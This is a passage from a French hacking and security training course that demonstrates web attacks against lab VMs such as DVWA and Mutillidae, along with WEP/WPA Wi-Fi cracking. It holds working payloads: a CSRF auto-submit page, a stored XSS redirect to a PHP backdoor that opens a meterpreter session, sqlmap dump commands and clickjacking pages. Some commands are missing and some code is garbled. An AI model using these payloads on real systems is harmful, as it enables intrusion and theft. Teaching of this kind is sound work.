Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Nous pouvons spécifier la version du protocole à utiliser pour afficher les types de certificats acceptés
ou rejetés.
• ZAP
PRE-REQUIS :
# Lancement de ZAP
21/11/2019
$ zaproxy
Dans un premier temps, nous allons indexer les pages de notre site, en effectuant un clic droit sur le
dossier " Mutillidae" → "Attaquer" → "Indexer" et enfin "Lancer le balayage"
Complétons à présent notre attaque, en utilisant l'option "Site de Spider AJAX" qui va ouvrir chaque
URL à notre place et ainsi analyser en détail tous les éléments contenus dans notre site cible. Pour
voir s'afficher les pages sur lesquelles travaillent ZAP, sélectionnez le navigateur "Firefox" quand vous
y est invité, sinon laisser le navigateur "Firefox Headless" par défaut pour verra l'action en mode
silencieux.
L'analyse active, tente de trouver des vulnérabilités potentielles sur notre site, en utilisant des
attaques connues. Pour cela, il suffit de lancer le balayage via le menu "Balayage actif avancé"
INFO :
Nous pouvons voir, en bas à gauche de la fenêtre, le détail des alertes trouvées, en commençant, de
la droite, par les alertes de type informations puis de priorité faible, moyenne, pour finir le plus à
gauche sur les alertes de priorité élevées.
Il est possible de définir, aussi, des options supplémentaires via le menu "Outils" → "Options" pour
notre balayage "AJAX Spider" mais encore sur des options tels que : certificats SSL, Jetons anti-CSRF,
scans actif et passif, les scripts, Zest, …
21/11/2019
118
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Une fois le scan actif terminé, nous pouvons voir les détails sur les différents alertes dans l'onglet
"Alerte" :
Nous allons maintenant détailler le menu "Générer du bruit", après avoir sélectionné une URL dans
l'onglet "historique".
Par exemple, nous pouvons sélectionner des scripts concernant les injections …
21/11/2019
119
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
… et démarrer le fuzzer
INFO :
Pour plus de détail sur les scripts, il est possible d'ajouter un onglet "Script" …
NDLR :
De plus, si vous avez besoin d'assistance, n'hésitez pas à consulter le site suivant :
https://stackoverflow.com/questions/tagged/zap
• Arachni
# Lancez l'installation
$ ./install-arachni-on-kali.sh
NDLR :
21/11/2019
121
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
INFO :
Compte Administrateur :
E-mail: admin@admin.admin
Password: administrator
Compte Utilisateur :
E-mail: user@user.user
Password: regular_user
La première chose à faire est, de créer un scan de notre site cible. Pour cela, aller dans le menu
"Scans" puis sélectionner "New"
Il ne nous reste plus qu'à indiquer l'adresse du site à analyser, choisir le type de scan et de lancer
l'outil à l'aide du bouton "Go".
POUR DE VRAI :
J'ai résolu ce problème en exécutant, dans le terminal, la commande suivante avant de lancer le script
"arachni"
export OPENSSL_CONF=/etc/ssl/
21/11/2019
Source : https://github.com/Arachni/arachni/issues/1022
122
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Lorsque le scan est terminé, la liste des vulnérabilités s'affichent. Pour plus de détails, il suffit de
cliquer sur le bouton à côté du lien concerné.
123
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
• Sqlmap
Pour nous permettre d'analyser les failles, nous devons appliquer une stratégie de sécurité faible via
le menu "DVWA Security" → "Low"
21/11/2019
124
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Maintenant, nous pouvons récupérer les informations sur les cookies présents en effectuant un clic
droit → "View Page Info" → Onglet "Security" → " View Cookies" → paramètre : "Content"
▪ Méthode GET
POUR DE VRAI :
125
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Continuons notre exploration, en vérifiant quelles sont les tables exploitables dans notre base de
donnée.
# Lancement de l'analyse sur nos tables avec la commande précédente suivi de l'option "--dbs"
$ sqlmap -u
"http://AdresseDeLaVMMetasploitable/dvwa/vulnerabilities/sqli/?id=usertest&Submit=y" --
cookie="security=low"; PHPSESSID=ContenuDuCookie --risk=3 --level=5 --dbs
▪ Méthode POST
Nous allons créer l'utilisateur "userman" avec le mot de passe "test88+" et la valeur de la signature à
"root"
21/11/2019
126
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
NDLR :
Si lors de la création de l'utilisateur, vous avez une erreur du type "Table ‘metasploit.xxx’ doesn’t
exist", vous devez renommer dans la VM Metasploitale, le fichier "/var/www/mutillidae/config.inc",
en modifiant la ligne $dbname = 'metasploit'; par $dbname = 'owasp10';
Source : https://za1d.com/2017/01/31/fix-table-metasploit-accounts-doesnt-exis-in-metasploitable-
2/
Il ne nous reste plus qu'à lancer la commande d'injection sur notre page de login :
$ sqlmap -u "http://AdresseDeLaVMMetasploit/mutillidae/index.php?page=login.php" --
data="username=NomDeNotreUtilisateur&password=MotDePasseDeNotreUtilisateur&login-php-
submitbutton=Login" --risk=3 --level=5
• BurpSuite
L'outil "burpsuite" va nous permettre de capturer une requête pour ensuite l'analyser sa vulnérabilité
avec l'outil "sqlmap"
21/11/2019
127
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
PRE-REQUIS :
# Lancement de burpsuite
$ burpsuite
INFO :
Pour plus de faciliter dans notre test, nous nous rendons dans l'onglet "Proxy" pour désactiver
l'interception des requêtes.
Rendez-vous ensuite, sur "burpsuite", dans l'onglet "Target" puis "Site Map" et rechercher la requête
concernant notre action précédente.
21/11/2019
128
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Il ne nous reste plus qu'à faire un clic droit sur le détail de la requête et de sélectionner "copy to file"
pour l'enregistrer sur notre poste.
Une fois, notre requête sauvegardée, nous pouvons utiliser l'outil "sqlmap" pour scanner les
vulnérabilités présentes :
sqlmap -r NomDuFichierContenantNotreRequete --level=5 --risk=3 -p id
POUR DE VRAI :
21/11/2019
Nous devons, suite à ce scan, trouver une vulnérabilité sur le paramètre "ID". Bien sûr ce n'est pas
mon cas
129
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
L'exemple présenté, ci-après, a pour but d'ajouter, avec un module externe, un commentaire sur un
blog.
En parallèle, créer une page html, que nous appellerons "CRSF.html" avec les éléments suivants :
html>
<head>
<title></title>
</head>
<body>
<form name="CSRF"
action="http://AdresseIPDeLaVMMetasploitable/mutillidae/index.php?page=add-to-your-blog.php"
method="POST">
<input type="hidden" name="csrf-token" value="SecurityIsDisabled" />
<!-- Le nom "blog_entry" correspond au nom du champ texte présent sur le blog -->
<input type="hidden" name="blog_entry" value="Voici mon nouveau commentaire blabla !" />
<--idem ici pour le bouton "Save Blog Entry" -->
<input type="hidden" name="add-to-your-blog-php-submit-button" value="Save Blog Entry" />
</form>
<script type="text/javascript">
document.CSRF.submit();
</script>
</body>
</html>
Ce script va nous permettre d'ajouter notre commentaire lorsque l'utilisateur naviguera sur notre
page.
$ cp CSRF.html /var/www/html/
130
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Il ne nous reste plus qu'à nous connecter, sur notre hôte attaquant, au site
http://localhost/CSRF.html …
NDLR :
Cet exploit peut être très dangereux, il peut, aussi, être utilisé pour changer des mots de passe,
effectuer des transactions, …
Dans cette dernière partie, nous allons vérifier la validation des injections de commandes.
#!/usr/bin/python
import socket
httprecv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
httprecv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
httprecv.bind(("0.0.0.0",8000))
httprecv.listen(2)
(client, ( ip,sock)) = httprecv.accept()
print "Received connection from : ", ip
data = client.recv(4096)
print str(data)
client.close()
httprecv.close()
$ chmod +x CI.py
# Exécution du script
$ ./CI.py
131
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Nous voyons donc, que la faille existe bien, car nous avons récupérer la réponse à la commande wget
Essayez, maintenant, de vérifier la présence de la faille avec le script python, suivant basé sur la
commande ICMP (CIICMP.py).
#!/usr/bin/python
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
def rules(pkt):
try:
if (pkt[IP].dst==" AdresseIPDuPoste Attaquant ") and (pkt[ICMP]):
print str(pkt[IP].src) + " is exploitable"
except:
pass
print "Listening for Incoming ICMP Traffic. Use Ctrl+C to stop listening"
sniff(lfilter=rules,store=0)
21/11/2019
132
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
# Exécution du script
$ ./CIICMP.py
Nous voyons donc, que la faille existe bien, car nous avons récupérer la réponse à la commande ping
10.3.1 Introduction
Le schéma suivant (selon CISSP : Certified Information Systems Security Professionnal) explique, très
simplement, les différents types d'authentification possibles et l'intérêt d'une utilisation mixte
(Authentification à double facteurs : A2F) pour accroître la sécurité.
21/11/2019
133
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
10.3.3 Clickjacking
Le détournement de clic, ou clickjacking, est une technique malveillante, très dangereuse, visant à
"forcer" un internaute à fournir des informations confidentielles ou à prendre le contrôle de son
ordinateur en le poussant à cliquer sur des pages apparemment sûres.
Exemple :
<a href=http://www.hacker.com> Visitez notre page Facebook </a>
Dans l'exemple ci-dessus, l'utilisateur pense cliquer sur un lien permettant de visitez la page
Facebook du site en cours ; mais en réalité, il sera redirigé vers un autre site (ici, www.hacker.com )
qui pourra être un clone de la page demandée et ainsi permettre, éventuellement, de récupérer des
informations d'identification ou autres.
L'illustration ci-dessus, nous montre un autre cas de clickjacking. Cette fois-ci, l'utilisateur pense
remplir des informations sans risque sur une page web piégée mais lorsque ce dernier clique sur le
bouton "NEXT" pensant accéder à la suite du site, la réalité est toute autre. Les données remplient
précédemment sont utilisées pour changer le mot de passe de votre banque, faire un transfert
bancaire, … grâce à une IFRAME totalement transparente.
Passons maintenant à un exemple concret. Pour cela, enregistrer le code suivant sous le nom
ClickJacking.html
21/11/2019
134
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
<html>
<br>
Nous pouvons maintenant ouvrir le fichier html pour voir ce qui se passe.
21/11/2019
135
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Nous nous apercevons que le lien "Jouer ! Maintenant !!!" pointe sur le bouton "Se connecter" du
site Alphorm. Il ne nous reste qu'à mettre la valeur 0 au paramètre opacity de notre fichier
ClickJacking.html pour rendre cela totalement invisible.
10.3.4 Cursorjacking
Passons maintenant à un exemple concret. Pour cela, enregistrer le code suivant sous le nom
CursorJacking.html
<html>
<head><title>cursorjacking </title>
<style>
body,html {margin:0;padding:0}
</style>
</head>
<body style="cursor:none;height: 1000px;"><img style="position: absolute;z-index:1000;" id=cursor
src="cursor.png" />
<div style=margin-left:300px;">
<h1> cursorjacking KEZAKO ?</h1>
</div>
<button style="font-size:
150%;position:absolute;top:130px;left:630px;">YES</button>
<button style="font-size: 150%;position:absolute;top:130px;
left:680px;">NO</button>
<div style="opacity:1;position:absolute;top:130px;left:30px;">
21/11/2019
136
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
{js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/
widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document, "script","twitter-wjs");</script>
</div>
<script>
function shake(n) {
if (parent.moveBy) { for (i = 10; i > 0; i--) { for (j = n; j > 0; j--) { parent.moveBy(0,i);
parent.moveBy(i,0); parent.moveBy(0,-i); parent.moveBy(-i,0);
}
}
}
}
shake(5);
var >var (e) {
var nMoveX = e.clientX, nMoveY = e.clientY; oNode.style.left = (nMoveX + 600)+"px";
oNode.style.top = nMoveY + "px";
};
document.body.addEventListener('mousemove', onmove, true);
</script>
</body>
</html>
Notre choix de cliquer sur le bouton "YES dans notre fichier HTML, sélectionne en réalité, le lien
"Tweet" qui pourra être un lien malicieux, une backdoor, …
Les cookies stockent, généralement, des informations critiques dont la récupération est facile.
Le but consiste à récupérer le "Token de Session" qui est utilisé entre l'utilisateur et le serveur.
Cette attaque à ses limites lors de l'utilisation du protocole sécurisé : HTTPS mais peut être
contourné par des outils tel que SSLstrip ou mitmproxy pour bypasser le HTTPS.
INFO :
Il existe d'autres techniques concernant l'authentification, orienté site web, tel que :
21/11/2019
- SQL Injection
- XSS
137
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
10.4 Exploitation
Dans cette partie, nous allons exploiter, de façon avancée, les failles web les plus dangereuses tel
que Sql Injection, Blind Sql Injection, XSS ou encore CXSRF
Pour cela, nous allons utiliser un projet OWASP : Mutillidae qui va nous offrir des applications web
vulnérables.
Commençons par nous rendre sur notre site vulnérable à l'adresse suivante :
http://AdresseIPDeLaVMMetaploitable/mutilliadae.
Choisissons ensuite le menu OWASP Top10 → A1 – Injection → SQLi – Extract Data → User Info
Nous allons utiliser le type d'injection : UNION. Pour vérifier si la faille est présente, il suffit,
simplement, de rentrer dans le champ "Name" la valeur ' [Apostrophe] et de vérifier la présence
d'une erreur lors de la validation.
Attaquons-nous, maintenant, à l'injection UNION, pour cela, il nous faut indiquer la commande
suivante dans le champ "Name" :
L'apostrophe signifie que rien ne sera exécuté dans la première partie mais uniquement dans la
21/11/2019
seconde.
La partie -- [ Tiret Tiret avec un espace après ] permet d'indiquer que le code suivant sera mis en
commentaire.
138
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Lors de notre validation, nous pouvons voir une erreur sur le nombre de colonnes. Ce message est
important car il nous indique que notre commande est incomplète. Il nous faut donc ajouter un
"null" à notre commande précédente et cela jusqu'à ce que le message d'erreur disparaisse. Pour
notre cas, il faudra l'indiquer 5 fois ; ce qui signifie que nous avons 5 colonnes.
Pour savoir, maintenant, à quelle colonne correspond nos résultats, nous allons remplacer les "null"
par les chiffres 1,2,3,4,5.
Nous voyons, donc, que la colonne 2 est attitré à Username, la 3 à Password et la 4 à Signature.
21/11/2019
139
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Il est possible de récupérer des informations depuis la base de données si vous connaissez le schéma
de la base. Pour exemple, la commande suivante, va nous afficher les informations des cartes
bancaires stockées dans les tables concernées.
Continuons dans cette exploitation SQL Injection mais cette fois-ci avec le site DVWA :
http://AdresseIPDeLaVMMetaploitable/dvwa/. Pour rappel, les informations d'identification par
défaut sont admin / password. Pensez à mettre le niveau de sécurité à "Medium" en passant par le
menu "DVWA Security"
Rendons-nous maintenant dans le menu SQL Injection pour tapez un numéro ID (ici 1) pour vérifier le
bon fonctionnement.
21/11/2019
140
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Allons plus loin, maintenant, en utilisant la commande suivante pour connaître le nom de colonnes
disponibles (ici test de 3 colonnes).
Si la commande retourne l'erreur suivante : Unknown column '3' in 'order clause'. Cela indique, que le
nombre de colonnes n'est pas bon. Le but final étant de modifier la commande précédente jusqu'à
trouver le bon nombre de colonnes pour ne plus avoir ce message d'erreur comme sur l'exemple ci-
dessous.
Grâce à cela, nous pouvons continuer notre exploitation en utilisant UNION pour récupérer la version
et le nom de la base (nous sommes limités au nombre de nos colonnes : ici, 2).
Nous pouvons aller plus loin, en récupérant le nom d'utilisateur grâce à "user"
141
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
PRE-REQUIS :
Le vecteur d'attaque BLIND, va nous permettre d'injecter des données à partir d'une base vulnérable.
Pour détecter cette vulnérabilité, nous allons utiliser burpsuite, pour récupérer les données dont
nous avons besoin (adresse, cookie) et sqlmap pour effectuer la série de tests. La faille se détecte,
généralement par l'absence de message d'erreur.
# Lancement de burpsuite
$ burpsuite
Une fois l'outil "burpsuite" démarré, indiquez la valeur 1 dans le champ "User ID" de notre site
vulnérable et regardons notre requête bloquée par burpsuite.
21/11/2019
142
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
http://AdresseIpDeLaVMMetasploitable/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Sub
mit
security=medium; PHPSESSID=620a89c75017aa21234aebd55473c111
Il ne nous reste plus qu'à les indiquer à sqlmap pour lancer la détection de failles à l'aide de la
commande suivante :
21/11/2019
143
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
NDLR :
Pour accélérer la commande, j'ai indiqué (touche n) de scanner uniquement les payloads MySQL et de
ne pas tester d'autres vulnérabilités lors de la détection de la faille sur le paramètre ID.
A la fin de notre scan, nous pouvons voir que le paramètre "ID" est exploitable.
Continuons notre exploitation en affichant les bases de données disponibles avec l'option "--dbs"
Il est possible, aussi, de visualiser les tables qui composent une base de donnée en utilisant l'option
"-D" pour spécifier notre base à utiliser (ici, la base "dvwa") et --tables pour afficher les tables
trouvées.
Essayons maintenant de récupérer les colonnes au sein d'une table, à l'aide des options "-T" qui
attend le nom de notre table (ici la table "users") et "--column" pour affiches les colonnes disponibles
21/11/2019
144
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Pour terminer, nous allons dumper les informations contenues dans les colonnes "user" et
"password" pour obtenir les hashes et les cracker ultérieurement :
NDLR :
Lors de la récupération des informations user/password, il est proposé de sauvegarder les hashes
dans un fichier et même de tenter une attaque par brute force comme dans l'exemple ci-dessous
21/11/2019
145
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
10.4.3 XSS
NDLR :
La faille XSS va nous permet, dans notre exemple, d'injecter une backdoor php et de la connecter à
metasploit.
Téléchargez, maintenant, votre backdoor par le menu "Upload" de notre site DVWA ; en ayant
préalablement renseigner le niveau de sécurité via le menu "DVWA Security" sur "Low".
Accédons, cette fois-ci, la partie "XSS Stored" pour y injecter le code qui suit, et nous permettre,
ainsi, d'obtenir une connexion meterpreter.
<script>window.location="http://AdresseDeLaVMMetasploitable/dvwa/hackable/uploads/backdo
or.php"</script>
21/11/2019
146
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
INFO :
Si vous n'arrivez pas à entrer la totalité de la ligne de commande, il vous faudra modifier la longueur
maximale de l'emplacement de saisie, en effectuant un clic droit dessus et en modifier le paramètre
"maxlength" à 500, par exemple.
Une fois validé, nous arrivons sur une fenêtre, comme ci-dessous. Cela nous indique que la
connexion à notre meterpreter est opérationnelle.
21/11/2019
147
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Kali Linux présente une panoplie d'outils permettant le pentesting des réseaux sans fils.
Il est nécessaire de disposer d'une carte Wifi compatible avec les outils (spécialement pour la suite
aircrack-ng) que nous allons utiliser, avant d'entamer un audit.
Le chipset et les drivers de cette dernière doivent supporter l'injection de paquets dans le flux de
données (entre la cible et la victime) qui nous permettra de causer des dénis de services ou encore
de capturer les handshakes dont on aura besoin pour cracker la clé de cryptage.
Source : https://beta.hackndo.com/krack/
Lors de la connexion de notre poste à un point d’accès protégé (style box), un handshake, se
résumant à un échange de 4 messages (Four-Way Handshake), est effectué pour permettre de
construire une connexion chiffrée, accessible uniquement aux personnes autorisées (possédant la
bonne clé de sécurité)
[Message 1]
Le point d'accès envoie un numéro aléatoire (Anonce) et son adresse MAC.
Par ailleurs, il a déjà calculé la clé commune (PMK) en utilisant son SSID et la clé de sécurité.
[Message 2]
Le client confirme la réception des informations précédente. Il crée maintenant la clé de chiffrement
(PTK) à l'aide des informations suivantes : le numéro aléatoire transmis par le point d'accès (Anonce),
un numéro généré par le client (Snonce), l'adresse MAC du client et celle du point d'accès, le SSID et
la clé de sécurité (qui nous donnent aussi la PMK).
Le client transmet donc son numéro généré (Snonce) ainsi que son adresse MAC pour que notre
point d'accès fasse la même opération de son côté.
[Message 3]
Le point d'accès confirme la réception des données et exécute la même opération pour obtenir la clé
de chiffrement (PTK).
[Message 4]
Une fois la clé de chiffrement validée, les échanges peuvent s'effectuer de manière sécurisée.
21/11/2019
148
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
11.2 La configuration
Les tests suivants ont été réalisés, pour ma part, avec le modèle AWUS036NHA, monté en USB sur
ma VM Kali.
Commençons par vérifier que notre carte est bien reconnue sur notre machine avec la commande
"iwconfig" :
149
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
INFO :
Il est préférable de tuer tous les processus en lien avec airmon-ng avant de démarrer un audit, à l'aide
de la commande suivante :
11.3 La reconnaissance
Cette partie va détailler les outils nous permettant de découvrir les réseaux sans fil disponible (caché
ou non) mais aussi les types de cryptage, …
11.3.1 Aircrack-ng
Aircrack-ng est une suite de logiciels de surveillance des réseaux sans fil. L'utilisation principal est de
"casser" les clés WEP et WPA des réseaux Wifi.
➔ aircrack-ng : Casseur de clés WEP statiques et WPA-PSK (nouveau type de casseur : PTW)
➔ airdecap-ng : Décrypteur de fichiers WEP/WPA capturés
➔ airdriver-ng : Permet de patcher les drivers pour faire de l'injection de paquet
➔ aireplay-ng : Programme d'injection de paquets
21/11/2019
150
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Pensez à activer le mode "monitor" sur votre carte et à conserver le nom de l'interface moniteur (ici,
wlan0mon) : $ airmon-ng start NomDeL'interface
11.3.2 Kismet
Kismet est un logiciel libre, fonctionnant sous Linux et Mac OS X, permettant la détection de réseaux.
C'est aussi un sniffeur et un système de détection d'intrusion pour les réseaux sans fil. Il supporte le
mode moniteur et l'ensemble des protocoles 802.11 (802.11a, 802.11b, 802.11g et 802.11n).
21/11/2019
151
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Après avoir renseigner les informations demandées ci-dessus, nous pouvons visualiser les différents
réseaux disponibles avec, lors de la sélection, une panoplie de détails.
Le HSSID, Hidden Service Set Identifier, est une technique "ridicule" utilisée par certaines sociétés,
pensant améliorer la sécurité du Wifi en cachant le SSID.
152
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
➔ Dé-authentifier un client et le forcer à ses réassocier avec le point d'accès et ainsi capturer
cette association. Nous utiliserons cette méthode.
Commençons par vérifier que notre carte réseau est en mode moniteur à l'aide de la commande
"iwconfig" :
On peut donc apercevoir notre SSID caché qui nous indique seulement sa taille, ici 5 caractères
Relançons notre capture mais, cette fois ci, en sélectionnant le channel (canal) de notre SSID masqué.
Pour notre exemple CH : 1 :
Il nous reste, simplement, à dé-authentifier les clients connectés à l'aide de la commande suivante :
153
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Pour rappel, l'adresse MAC (Media Access Control), ou encore appelée "Adresse Physique", est une
adresse unique assignée à une carte réseau. Elle est constituée de six paires en hexadécimal (chiffres
de 0 à 9 et lettre de A à F) sous la forme suivante : 00:50:56:C0:00:01.
Elle peut être utilisé pour authentifier les utilisateurs, en les autorisant ou non à accéder à un réseau.
Cette méthode de "sécurité" est largement bypassage par un hacker qui n'aura aucun problème à
changer son adresse MAC.
o Modification manuelle
Pour modifier, manuellement, l'adresse MAC de notre carte Wifi, voici les étapes à suivre :
154
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
o Modification automatique
INFO :
Pour récupérer une adresse MAC d'un client connecté sur un point d'accès, rien de plus simple avec la
commande airmon-ng :
# Scan du réseau
$ airdump NomDeLInterfaceMonitor
Les adresses MAC des clients connectés (ici encadrés en rouge) peut donc être utilisés pour bypasser
les sécurités du type filtrage d'adresses MAC.
21/11/2019
155
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Le protocole de sécurité d'un réseau sans fil WEP (Wireless Equivalent Privacy) est apparu en 1999. Il
est rapidement remplacé par le protocole WPA à cause de la détection de plusieurs failles
cryptographiques. Malheureusement, il reste encore utilisé par certains réseaux.
L'une des premières failles découvertes concerne le vecteur d'initialisation (VI). Il est basé sur RC4 -
Stream Cipher, qui consiste à introduire un élément aléatoire dans les données cryptées. Le
problème intervient au niveau de la taille du VI qui est trop petite (24 bits) pour prévenir la
répétition.
Généralement la clé de sécurité de ce protocole est récupérée en moins de 5 minutes.
Nous allons essayer de cracker une clé WEP de façon manuelle. Pour cela, ne pas oublier de passer
en mode moniteur, notre carte Wifi à l'aide de la commande "airmon-ng". Au besoin, pour rappel, se
référer au chapitre précédent.
156
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Une fois, que vous visualiser votre réseau wifi avec le protocole WEP ; il vous faudra relever l'adresse
MAC et le canal utilisé par le point d'accès.
# Lancement du balayage sur le canal de notre point d'accès avec sauvegarde des paquets beacon
$ airodump-ng -c NuméroDuCanal -w NomDuFichierDesCaptures -b AdresseMacDuPointAcces
NomDeLInterfaceMonitor
On s'aperçoit que l'enregistrement des "beacons" peut être long. Pour augmenter cela, nous allons
utiliser la commande "aireplay-ng" dans un autre terminal :
21/11/2019
157
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Si le nombre de paquet "beacon" est suffisant, il ne faudra pas longtemps, pour découvrir la clé de
sécurité WEP de notre réseau wifi (ici AB:CD:EF:12:34).
Nous allons, maintenant, présenter différents outils pour cracker les clés de sécurité WEP de façon
automatique.
▪ Wifite
L'utilisation de l'outil "Wifite" est très simple. Une fois lancé, il n'y a qu'à sélectionner le réseau wifi
désiré et d'attendre (4 minutes lors de mon test) le cracking de la clé de sécurité.
21/11/2019
158
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
L'avantage de "fern wifi cracker" est qu'il est totalement graphique et qu'il prend en charge les
protocoles WEP et WPA.
NDLR :
Pour accélérer la détection de notre réseau WEP, il est possible de double-cliquer sur un espace vide
du logiciel et de configurer le canal.
Pour ma part, j'ai coché l'option "Enable Xterms", qui m'a permis de suivre la détection de mon
réseau WEP mais surtout l'avancement du nombre de paquet "beacon" dont le nombre doit être
d'environ 10000. 21/11/2019
De plus, il hésite un bouton "toolbox" incluant différents outils, tel que, cookie hijacker, ray fusion ou
encore un tracker, …
159
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
POUR DE VRAI :
Je n'ai pas pu utiliser cet outil pour cracker ma clé WEP car l'interface graphique ne détectait pas mon
réseau WEP alors que, via l'option Xterms", je pouvais voir qu'il le détectait correctement.
Bref, la joie de l'informatique …
INFO :
- Fragmentation
- ChopChop
- Caffe Latte
- Hirte
- ARP request replay
- WPS attack
Pour corriger les failles et succéder au protocole de sécurité WEP, la protocole WPA et WPA2 sont
créés. Ces nouveaux protocoles utilisent une "Pre-Shared Key" [PSK], qui doit être aléatoire (en moins
de 13 caractères), pour sécuriser la communication.
L'attaque la plus répandue pour casser la clé est le brute-forcing.
INFO :
21/11/2019
Lorsque le protocole WPA est configuré en mode "entreprise", c’est-à-dire utilisant un serveur
d'authentification RADIUS, son crackage est "quasi" impossible.
160
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Le déchiffrement du WPA requiert une création d'un type spécifique de paquets pour récupérer des
détails utiles, comme des "handshake" ; à l'inverse du protocole WEP qui utilise une analyse statique
des paquets.
L'attaque de type "Brute-Force" utilise un dictionnaire contenant des mots de passe (entre 8 et 63
caractères) pour essayer de se connecter au point d'accès wifi (SSID) en utilisant des clés PSK,
générées à partir du dictionnaire. La finalité de l'attaque se résume à vérifier la concordance des MIC
(Message Integrity Check) qui nous indiquera la validité de notre mot de passe.
Passons à la partie pratique, pour cela commençons par lancer la commande "airmon-ng" sur notre
carte wifi pour la passer en monitor. Pour rappel, killer les processus liés à votre carte à l'aide de la
commande suivante :
Comme d'habitude, la première étape consiste à lancer le balayage des réseaux sans fil disponibles à
l'aide de la commande suivante :
$ airodump-ng NomDeLInterfaceMonitor
21/11/2019
161
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Une fois notre cible repérée, nous allons capturer les "handshake" grâce à la commande suivante :
La troisième étape, va nous permettre d'accélérer la capture de paquets "handshake" en lançant des
paquets de dé-authentification à l'aide de la commande :
Pour la suite de notre exemple, nous allons utiliser le dictionnaire "common.txt" contenu dans le
dossier" /usr/share/wordlists/fern-wifi", auquel nous avons ajouté, préalablement, notre clé de
sécurité de notre réseau wifi.
Il ne nous reste plus qu'à lancer le crackage de la clé à l'aide de la commande suivante :
162
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
INFO :
Cette dernière méthode, nous fait comprendre l'intérêt de prendre un dictionnaire le plus complet
possible pour augmenter, de façon significative, nos chances de résultat.
Comme d'habitude la première étape consiste à lancer le balayage des réseaux sans fil disponibles à
l'aide de la commande suivante :
$ airodump-ng NomDeLInterfaceMonitor
La commande suivante va tester tous les codes PIN possible jusqu'à trouver le bon.
